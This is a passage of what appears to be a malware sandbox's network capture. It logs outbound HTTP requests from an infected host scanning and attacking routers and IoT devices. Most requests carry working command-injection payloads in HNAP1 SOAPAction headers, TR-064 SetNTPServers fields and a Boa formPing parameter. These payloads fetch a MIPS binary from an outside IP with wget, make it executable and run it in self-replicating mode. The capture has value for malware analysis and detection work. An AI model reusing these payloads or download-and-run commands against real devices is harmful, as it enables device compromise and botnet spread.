65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:52:57.184485912 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:04.864423990 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:19.968434095 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:50.432378054 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
440	192.168.2.13	59320	181.52.223.137	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.696477890 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
441	192.168.2.13	41418	121.166.94.196	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.722762108 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
442	192.168.2.13	41390	86.181.149.181	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.769946098 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:50.072588921 CEST	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
443	192.168.2.13	59170	109.145.136.110	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.786689997 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
444	192.168.2.13	54200	196.235.219.135	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.817859888 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:50.182995081 CEST	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Mon, 15 Apr 2024 06:52:55 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
445	192.168.2.13	57404	94.19.223.82	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.822242022 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:50.156196117 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:52:48 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
446	192.168.2.13	55696	105.158.31.110	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.844388962 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
447	192.168.2.13	50484	74.141.209.0	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.905038118 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
448	192.168.2.13	59192	109.145.136.110	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:50.097759008 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
449	192.168.2.13	57424	94.19.223.82	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:50.148335934 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:50.474838018 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:52:49 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
450	192.168.2.13	56156	123.207.242.110	23

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:50.348660946 CEST	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 35 20 31 34 3a 35 32 3a 34 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-15 14:52:48Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.13	50430	213.243.0.88	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:50.353755951 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
452	192.168.2.13	60118	119.199.32.244	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:50.719290018 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
